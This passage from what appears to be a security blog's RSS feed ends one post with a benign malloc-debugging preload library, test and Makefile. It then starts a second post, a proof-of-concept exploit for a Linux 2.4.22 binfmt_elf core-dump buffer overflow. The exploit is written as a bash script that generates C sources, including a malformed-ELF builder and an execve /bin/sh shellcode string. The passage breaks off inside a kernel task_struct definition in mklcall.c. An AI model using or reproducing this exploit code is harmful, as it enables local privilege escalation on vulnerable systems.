&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if (pmem == (void *) -1)<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; pmem =
NULL;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; break;<br>
&nbsp;&nbsp;&nbsp; default:<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; fprintf(stderr, "Unkonwn
ALLOC_MODE [%d]\n", mode);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; exit(-1);<br>
&nbsp;&nbsp;&nbsp; }<br>
#ifdef GHC_DEBUG<br>
&nbsp;&nbsp;&nbsp; printf(" ** GHC real malloc: %p\n", pmem);<br>
#endif<br>
<br>
&nbsp;&nbsp;&nbsp; if (pmem) {<br>
#ifdef GHC_CRASH_MODE<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; void *trap;<br>
<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; trap = (void *) ((unsigned
long)(pmem + realsize - PAGE_SIZE) &amp; ~(PAGE_SIZE-1));<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ptr = trap - size;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; *(unsigned long
*)(ptr-sizeof(unsigned long)) = (unsigned long) pmem;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; *(unsigned int
*)(ptr-sizeof(unsigned long)-sizeof(unsigned int)) = size;<br>
<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if (mprotect(trap, PAGE_SIZE,
PROT_NONE)) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
perror("mprotect");<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
exit(-1);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }<br>
#else /* !GHC_CRASH_MODE */<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; /* set head stamp */<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; memcpy(pmem,
&amp;magic_stamp, sizeof(magic_stamp));<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; *(int *) ((char *) pmem +
sizeof(magic_stamp)) = (int) size;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; *(int *) ((char *) pmem +
sizeof(magic_stamp) + sizeof(int)) = (int) size;<br>
<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; /* get user chunk pointer
*/<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ptr =
get_user_from_head(pmem);<br>
<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; /* set tail stamp */<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; memcpy((char *) ptr + size,
&amp;magic_stamp, sizeof(magic_stamp));<br>
#endif<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
&nbsp;&nbsp;&nbsp; return ptr;<br>
}<br>
<br>
void *malloc(size_t size)<br>
{<br>
#ifdef GHC_DEBUG<br>
&nbsp;&nbsp;&nbsp; printf("** GHC malloc\n");<br>
#endif<br>
&nbsp;&nbsp;&nbsp; if (init_flag == 0) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
safe_hc_init();&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
&nbsp;&nbsp;&nbsp; return __ghc_alloc(size, AMODE_MALLOC);<br>
}<br>
<br>
static void __ghc_free(void *ptr)<br>
{<br>
&nbsp;&nbsp;&nbsp; void *pmem;<br>
<br>
#ifdef GHC_DEBUG<br>
&nbsp;&nbsp;&nbsp; printf("** __ghc_free\n");<br>
#endif<br>
&nbsp;&nbsp;&nbsp; if (!ptr) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; hc_log("[** warning **]\t
free NULL pointer");<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return;<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
#ifdef GHC_CRASH_MODE<br>
&nbsp;&nbsp;&nbsp; void *trap;<br>
&nbsp;&nbsp;&nbsp; int size = get_user_size(ptr);<br>
<br>
&nbsp;&nbsp;&nbsp; trap = ptr + size;<br>
&nbsp;&nbsp;&nbsp; if (mprotect(trap, PAGE_SIZE,
PROT_READ|PROT_WRITE)) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; perror("mprotect");<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; exit(-1);<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
&nbsp;&nbsp;&nbsp; pmem = *(void **) (ptr - sizeof(unsigned
long));<br>
#else<br>
&nbsp;&nbsp;&nbsp; /* get head pointer */<br>
&nbsp;&nbsp;&nbsp; pmem = get_head_from_user(ptr);<br>
&nbsp;&nbsp;&nbsp; if (memcheck(pmem) != 0)<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return;<br>
#endif<br>
<br>
#ifdef GHC_DEBUG<br>
&nbsp;&nbsp;&nbsp; printf(" ** GHC real free: %p\n", pmem);<br>
#endif<br>
&nbsp;&nbsp;&nbsp; pfree(pmem);<br>
}<br>
<br>
void free(void *ptr)<br>
{<br>
#ifdef GHC_DEBUG<br>
&nbsp;&nbsp;&nbsp; printf("** GHC free\n");<br>
#endif<br>
&nbsp;&nbsp;&nbsp; if (init_flag == 0) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if (!hc_lock) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
fprintf(stderr, "** PANIC PRELOAD - free **\n");<br>
#ifdef GHC_DEBUG<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
exit(-1);<br>
#endif<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return;<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
&nbsp;&nbsp;&nbsp; __ghc_free(ptr);<br>
}<br>
<br>
void *realloc(void *ptr, size_t size)<br>
{<br>
&nbsp;&nbsp;&nbsp; void *new;<br>
&nbsp;&nbsp;&nbsp; size_t oldsize;<br>
<br>
#ifdef GHC_DEBUG<br>
&nbsp;&nbsp;&nbsp; printf("** GHC realloc\n");<br>
#endif<br>
&nbsp;&nbsp;&nbsp; if (init_flag == 0) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; fprintf(stderr, "** PANIC
PRELOAD - realloc **\n");<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return NULL;<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
&nbsp;&nbsp;&nbsp; if (!ptr) /* see man realloc */<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return __ghc_alloc(size,
AMODE_MALLOC); &nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp; if (!size) { /* see man realloc */<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; __ghc_free(ptr);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return NULL;<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
&nbsp;&nbsp;&nbsp; new = __ghc_alloc(size, AMODE_MALLOC);<br>
&nbsp;&nbsp;&nbsp; if (new) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; oldsize =
get_user_size(ptr);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; memcpy(new, ptr,
(oldsize&lt;size)?oldsize:size);&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; __ghc_free(ptr);<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
&nbsp;&nbsp;&nbsp; return new;<br>
}<br>
<br>
void *calloc(size_t nmemb, size_t size)<br>
{<br>
&nbsp;&nbsp;&nbsp; void *p;<br>
&nbsp;&nbsp;&nbsp; size_t len;<br>
&nbsp;&nbsp;&nbsp; int mode;<br>
<br>
#ifdef GHC_DEBUG<br>
&nbsp;&nbsp;&nbsp; printf("** GHC calloc\n");<br>
#endif<br>
&nbsp;&nbsp;&nbsp; len = nmemb*size;<br>
&nbsp;&nbsp;&nbsp; mode = (!init_flag &amp;&amp; hc_lock)?
AMODE_SBRK : AMODE_MALLOC;<br>
<br>
&nbsp;&nbsp;&nbsp; if (mode == AMODE_MALLOC) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
safe_hc_init();&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
&nbsp;&nbsp;&nbsp; p = __ghc_alloc(len, mode);<br>
&nbsp;&nbsp;&nbsp; if (p)<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; bzero(p, len); /* see man
calloc */<br>
<br>
&nbsp;&nbsp;&nbsp; return p;<br>
}<br>
<br>
/* wait a moment ... */<br>
/*<br>
void hc_log(...)<br>
{<br>
<br>
}<br>
*/<br>
__EOF__<br>
<br>
## test.c<br>
cat &lt;&lt; __EOF__ &gt; test.c<br>
<br>
#include &lt;stdlib.h&gt;<br>
#include &lt;string.h&gt;<br>
#include &lt;stdio.h&gt;<br>
<br>
int main(void)<br>
{<br>
&nbsp;&nbsp;&nbsp; void *p = malloc(16);<br>
&nbsp;&nbsp;&nbsp; void *q = malloc(16);<br>
<br>
&nbsp;&nbsp;&nbsp; bzero(p, 16);<br>
&nbsp;&nbsp;&nbsp; bzero(p, 18);<br>
#ifndef GHC_CRASH_MODE<br>
&nbsp;&nbsp;&nbsp; *(char *) (p - 9) = 2;<br>
#endif<br>
<br>
&nbsp;&nbsp;&nbsp; q = realloc(q, 32);<br>
<br>
&nbsp;&nbsp;&nbsp; free(q);<br>
&nbsp;&nbsp;&nbsp; free(p);<br>
&nbsp;&nbsp;&nbsp; free(NULL);<br>
&nbsp;&nbsp;&nbsp; return 0;<br>
}<br>
__EOF__<br>
<br>
## Makefile<br>
cat &lt;&lt; __EOF__ &gt; Makefile<br>
#MODE=-DGHC_CRASH_MODE<br>
CFLAG= -Wall -O2 -DNDEBUG \$(MODE)<br>
#CFLAG= -DGHC_DEBUG -ggdb \$(MODE)<br>
CC=gcc<br>
<br>
all: test so<br>
test: test.c<br>
&nbsp;&nbsp;&nbsp; \$(CC) \$&lt; -o test \$(CFLAG)<br>
so: ghc.c<br>
&nbsp;&nbsp;&nbsp; \$(CC) -shared -o ghc.so -fPIC \$&lt; -nostdlib
-ldl \$(CFLAG)<br>
<br>
clean:<br>
&nbsp;&nbsp;&nbsp; rm -f *.o ghc.so test<br>
__EOF__</p>

]]></description><guid>http://www.i170.com/Article/38516</guid><trackback:ping>http://www.i170.com/Article/38516/trackback</trackback:ping><comments>http://www.i170.com/Article/38516#comment</comments><wfw:commentRss>http://www.i170.com/Article/38516/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/27521</link><title><![CDATA[Linux binfmt_elf core dump buffer overflow (PoC)]]></title><author>grip2</author><category>网络安全,Linux Kernel</category><pubDate>Fri, 09 Jun 2006 13:46:38  +0800</pubDate><description><![CDATA[#!/bin/bash<br>
#<br>
####################################################<br>
#<br>
# Linux binfmt_elf core dump buffer overflow (PoC)<br>
# (Kernel-2.4.22)<br>
#<br>
# 2006-04-30<br>
# Written by :<br>
# &nbsp;&nbsp; &nbsp;grip2 &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&lt;gript2@hotmail.com&gt;<br>
# &nbsp;&nbsp; &nbsp;airsupply &nbsp;&nbsp;
&nbsp;&lt;airsupply@0x557.org&gt;<br>
#<br>
####################################################<br>
<br>
## overflow.c<br>
cat &lt;&lt; __EOF__ &gt; overflow.c<br>
/*<br>
&nbsp;* Written by :<br>
&nbsp;*&nbsp;&nbsp; &nbsp;grip2 &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&lt;gript2@hotmail.com&gt;<br>
&nbsp;*&nbsp;&nbsp; &nbsp;airsupply &nbsp;&nbsp;
&nbsp;&lt;airsupply@0x557.org&gt;<br>
&nbsp;*/<br>
<p class="partingline">[separator]</p>
<br>
#include &lt;stdio.h&gt;<br>
#include &lt;stdlib.h&gt;<br>
#include &lt;errno.h&gt;<br>
#include &lt;unistd.h&gt;<br>
<br>
#include &lt;sys/time.h&gt;<br>
#include &lt;sys/resource.h&gt;<br>
<br>
#include &lt;asm/page.h&gt;<br>
<br>
<br>
int main(int argc, char *argv[])<br>
{<br>
&nbsp;&nbsp; &nbsp;int esp;<br>
&nbsp;&nbsp; &nbsp;struct rlimit rl;<br>
&nbsp;&nbsp; &nbsp;int res;<br>
&nbsp;&nbsp; &nbsp;int i;<br>
&nbsp;&nbsp; &nbsp;char *env[10];<br>
&nbsp;&nbsp; &nbsp;char page[PAGE_SIZE];<br>
<br>
&nbsp;&nbsp; &nbsp;__asm__("movl %%esp, %0" : : "m"(esp));<br>
&nbsp;&nbsp; &nbsp;printf("arg_start: %p arg_end: %p esp:
%p\n",<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;argv[0],
argv[argc-1]+strlen(argv[argc-1]), esp);<br>
<br>
&nbsp;&nbsp; &nbsp;rl.rlim_cur = RLIM_INFINITY;<br>
&nbsp;&nbsp; &nbsp;rl.rlim_max = RLIM_INFINITY;<br>
&nbsp;&nbsp; &nbsp;res = setrlimit(RLIMIT_CORE, &amp;rl);<br>
&nbsp;&nbsp; &nbsp;if (res != 0) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;perror("setrlimit");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;goto err;<br>
&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;memset(page, 'A', sizeof(page));<br>
&nbsp;&nbsp; &nbsp;page[sizeof(page)-1] = 0;<br>
<br>
&nbsp;&nbsp; &nbsp;for (i = 0; i &lt; 9; i++)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;env[i] = page;<br>
&nbsp;&nbsp; &nbsp;env[i] = 0;<br>
<br>
&nbsp;&nbsp; &nbsp;if (strcmp(argv[0], "SELF2") == 0) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;char *av[] = {"badelf", page,
0};<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;execve("badelf", av,
NULL);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;/* execve("test_elf", av,
NULL); */<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;perror("execve: badelf");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;goto err;<br>
&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp; &nbsp;char *av[] = {"SELF2", 0};<br>
&nbsp;&nbsp; &nbsp;execve(argv[0], av, env);<br>
<br>
&nbsp;&nbsp; &nbsp;perror("execve self:");<br>
&nbsp;&nbsp; &nbsp;goto err;<br>
<br>
&nbsp;&nbsp; &nbsp;return 0;<br>
err:<br>
&nbsp;&nbsp; &nbsp;return 1;<br>
}<br>
__EOF__<br>
<br>
## mkbadelf.c<br>
cat &lt;&lt; __EOF__ &gt; mkbadelf.c<br>
/*<br>
&nbsp;* Written by grip2 &lt;gript2@hotmail.com&gt;<br>
&nbsp;*/<br>
<br>
#include &lt;elf.h&gt;<br>
#include &lt;fcntl.h&gt;<br>
#include &lt;sys/stat.h&gt;<br>
#include &lt;sys/mman.h&gt;<br>
#include &lt;stdio.h&gt;<br>
#include &lt;unistd.h&gt;<br>
#include &lt;string.h&gt;<br>
#include &lt;stdlib.h&gt;<br>
<br>
char sc[] =<br>
&nbsp;&nbsp;&nbsp;
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"<br>
&nbsp;&nbsp;&nbsp;
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"<br>
&nbsp;&nbsp; "\x80\xe8\xdc\xff\xff\xff/bin/sh";<br>
<br>
extern test;<br>
__asm__ (<br>
"test:\n\t"<br>
&nbsp;&nbsp; &nbsp;"cli&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;\n\t"<br>
&nbsp;&nbsp; &nbsp;"hlt&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;\n\t"<br>
&nbsp;&nbsp; &nbsp;"movl \$0xbffff000, %eax&nbsp;&nbsp;
&nbsp;\n\t"<br>
//&nbsp;&nbsp; &nbsp;"movl \$0x42, (%eax)&nbsp;&nbsp;
&nbsp;\n\t"<br>
&nbsp;&nbsp; &nbsp;"int3&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;\n\t"<br>
&nbsp;&nbsp; &nbsp;);<br>
<br>
int main()<br>
{<br>
#define ENTRY_OFFSET 4096<br>
&nbsp;&nbsp; &nbsp;int fd = -1;<br>
&nbsp;&nbsp; &nbsp;Elf32_Ehdr ehdr;<br>
&nbsp;&nbsp; &nbsp;Elf32_Phdr phdr;<br>
&nbsp;&nbsp; &nbsp;Elf32_Shdr shdr;<br>
&nbsp;&nbsp; &nbsp;int i;<br>
&nbsp;&nbsp; &nbsp;unsigned char code_align[4096];<br>
&nbsp;&nbsp; &nbsp;unsigned char data_align[0x7000];<br>
<br>
&nbsp;&nbsp; &nbsp;fd = open("badelf", O_WRONLY|O_CREAT|O_TRUNC,
S_IRWXU);<br>
&nbsp;&nbsp; &nbsp;if (fd == -1) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;perror("open badelf");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;goto err;<br>
&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;memset(&amp;ehdr, 0, sizeof(ehdr));<br>
<br>
&nbsp;&nbsp; &nbsp;ehdr.e_ident[EI_MAG0] = 0x7f;<br>
&nbsp;&nbsp; &nbsp;ehdr.e_ident[EI_MAG1] = 'E';<br>
&nbsp;&nbsp; &nbsp;ehdr.e_ident[EI_MAG2] = 'L';<br>
&nbsp;&nbsp; &nbsp;ehdr.e_ident[EI_MAG3] = 'F';<br>
&nbsp;&nbsp; &nbsp;ehdr.e_ident[EI_CLASS] = ELFCLASS32;<br>
&nbsp;&nbsp; &nbsp;ehdr.e_ident[EI_DATA] = ELFDATA2LSB;<br>
&nbsp;&nbsp; &nbsp;ehdr.e_ident[EI_VERSION] = EV_CURRENT;<br>
<br>
&nbsp;&nbsp; &nbsp;ehdr.e_type = ET_EXEC ;<br>
&nbsp;&nbsp; &nbsp;ehdr.e_machine = EM_386;<br>
&nbsp;&nbsp; &nbsp;ehdr.e_version = EV_CURRENT;<br>
<br>
&nbsp;&nbsp; &nbsp;ehdr.e_ehsize = sizeof(Elf32_Ehdr);<br>
&nbsp;&nbsp; &nbsp;ehdr.e_phentsize = sizeof(Elf32_Phdr);<br>
&nbsp;&nbsp; &nbsp;ehdr.e_shentsize = sizeof(Elf32_Shdr);<br>
<br>
&nbsp;&nbsp; &nbsp;ehdr.e_phnum = 2;<br>
&nbsp;&nbsp; &nbsp;ehdr.e_phoff = sizeof(Elf32_Ehdr);<br>
&nbsp;&nbsp; &nbsp;ehdr.e_shnum = 0;<br>
&nbsp;&nbsp; &nbsp;ehdr.e_shoff = 0;<br>
<br>
&nbsp;&nbsp; &nbsp;ehdr.e_shstrndx = 0;<br>
&nbsp;&nbsp; &nbsp;ehdr.e_flags = 0;<br>
&nbsp;&nbsp; &nbsp;ehdr.e_entry = 0x08480000 + ENTRY_OFFSET;<br>
<br>
&nbsp;&nbsp; &nbsp;write(fd, &amp;ehdr, sizeof(ehdr)); /* Elf
header */<br>
<br>
&nbsp;&nbsp; &nbsp;phdr.p_type = PT_LOAD;<br>
&nbsp;&nbsp; &nbsp;phdr.p_offset = 0;<br>
&nbsp;&nbsp; &nbsp;phdr.p_vaddr = 0x08480000;<br>
&nbsp;&nbsp; &nbsp;phdr.p_paddr = phdr.p_vaddr;<br>
&nbsp;&nbsp; &nbsp;phdr.p_filesz = ENTRY_OFFSET +
sizeof(code_align);<br>
&nbsp;&nbsp; &nbsp;phdr.p_memsz = ENTRY_OFFSET +
sizeof(code_align);<br>
&nbsp;&nbsp; &nbsp;phdr.p_flags = PF_R|PF_X|PF_W;&nbsp;&nbsp;
&nbsp;<br>
&nbsp;&nbsp; &nbsp;phdr.p_align = 0x1000;<br>
<br>
&nbsp;&nbsp; &nbsp;write(fd, &amp;phdr, sizeof(phdr)); /* Phdr
header - PT_LOAD */<br>
<br>
&nbsp;&nbsp; &nbsp;phdr.p_type = PT_LOAD;<br>
&nbsp;&nbsp; &nbsp;phdr.p_offset =&nbsp; ENTRY_OFFSET +
sizeof(code_align);<br>
&nbsp;&nbsp; &nbsp;phdr.p_vaddr = 0xbfff8000;<br>
&nbsp;&nbsp; &nbsp;phdr.p_paddr = phdr.p_vaddr;<br>
&nbsp;&nbsp; &nbsp;phdr.p_filesz =sizeof(data_align);<br>
&nbsp;&nbsp; &nbsp;phdr.p_memsz = sizeof(data_align);<br>
&nbsp;&nbsp; &nbsp;phdr.p_flags = 0;&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp; &nbsp;phdr.p_align = 0x1000;<br>
<br>
&nbsp;&nbsp; &nbsp;write(fd, &amp;phdr, sizeof(phdr)); /* Phdr
header - PT_LOAD */<br>
<br>
&nbsp;&nbsp; &nbsp;lseek(fd, ENTRY_OFFSET, SEEK_SET);<br>
&nbsp;&nbsp; &nbsp;memset(code_align, '\x90',
sizeof(code_align));<br>
#if 1<br>
&nbsp;&nbsp; &nbsp;//unsigned char int3 = 0xcc;<br>
&nbsp;&nbsp; &nbsp;//memcpy(code_align, &amp;int3,
sizeof(int3));<br>
&nbsp;&nbsp; &nbsp;memcpy(code_align, &amp;test, 32);<br>
#else<br>
&nbsp;&nbsp; &nbsp;memcpy(code_align, sc, sizeof(sc));<br>
#endif<br>
&nbsp;&nbsp; &nbsp;write(fd, code_align, sizeof(code_align)); /*
part of TEXT Segment */<br>
<br>
&nbsp;&nbsp; &nbsp;memset(data_align, 'A', sizeof(data_align));<br>
&nbsp;&nbsp; &nbsp;lseek(fd, ENTRY_OFFSET + sizeof(code_align),
SEEK_SET);<br>
&nbsp;&nbsp; &nbsp;write(fd, data_align, sizeof(data_align)); /*
DATA Segment */<br>
<br>
&nbsp;&nbsp; &nbsp;close(fd);<br>
&nbsp;&nbsp; &nbsp;return 0;<br>
err:<br>
&nbsp;&nbsp; &nbsp;if (fd != -1)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;close(fd);<br>
&nbsp;&nbsp; &nbsp;return -1;<br>
}<br>
__EOF__<br>
<br>
## mklcall.c<br>
cat &lt;&lt; __EOF__ &gt; mklcall.c<br>
/*<br>
&nbsp;* Written by :<br>
&nbsp;*&nbsp;&nbsp; &nbsp;grip2 &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&lt;gript2@hotmail.com&gt;<br>
&nbsp;*&nbsp;&nbsp; &nbsp;airsupply &nbsp;&nbsp;
&nbsp;&lt;airsupply@0x557.org&gt;<br>
&nbsp;*/<br>
<br>
#include &lt;elf.h&gt;<br>
#include &lt;fcntl.h&gt;<br>
#include &lt;sys/stat.h&gt;<br>
#include &lt;sys/mman.h&gt;<br>
#include &lt;stdio.h&gt;<br>
#include &lt;unistd.h&gt;<br>
#include &lt;linux/unistd.h&gt;<br>
#include &lt;string.h&gt;<br>
#include &lt;stdlib.h&gt;<br>
#include &lt;signal.h&gt;<br>
<br>
<br>
#define g__syscall_return(type, res) \<br>
do { \<br>
&nbsp;&nbsp;&nbsp; if ((unsigned long)(res) &gt;= (unsigned
long)(-125)) { \<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; res = -1; \<br>
&nbsp;&nbsp;&nbsp; } \<br>
&nbsp;&nbsp;&nbsp; return (type) (res); \<br>
} while (0)<br>
<br>
#define g_syscall3(type,name,type1,arg1,type2,arg2,type3,arg3)
\<br>
type g_##name(type1 arg1,type2 arg2,type3 arg3) \<br>
{ \<br>
long __res; \<br>
__asm__ volatile ("int \$0x80" \<br>
&nbsp;&nbsp;&nbsp; : "=a" (__res) \<br>
&nbsp;&nbsp;&nbsp; : "0" (__NR_##name),"b" ((long)(arg1)),"c"
((long)(arg2)), \<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "d"
((long)(arg3))); \<br>
g__syscall_return(type,__res); \<br>
}<br>
<br>
static inline g_syscall3(int, write, int, fd, const void *, buf,
off_t, count)<br>
<br>
char sc[] =<br>
&nbsp;&nbsp;&nbsp;
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"<br>
&nbsp;&nbsp;&nbsp;
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"<br>
&nbsp;&nbsp; "\x80\xe8\xdc\xff\xff\xff/bin/sh";<br>
<br>
void exploit_end(void);<br>
<br>
struct list_head {<br>
&nbsp;&nbsp; &nbsp;struct list_head *next, *prev;<br>
};<br>
<br>
struct task_struct {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * offsets of
these are hardcoded elsewhere - touch with care<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; volatile long
state;&nbsp;&nbsp;&nbsp; /* -1 unrunnable, 0 runnable, &gt;0
stopped */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned long
flags;&nbsp;&nbsp;&nbsp; /* per process flags, defined below */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int
sigpending;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned
long&nbsp; addr_limit;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*
thread address space:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0-0xBFFFFFFF for user-thead<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0-0xFFFFFFFF for kernel-thread<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
*/<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct exec_domain
*exec_domain;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; volatile long
need_resched;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned long
ptrace;<br>
&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int
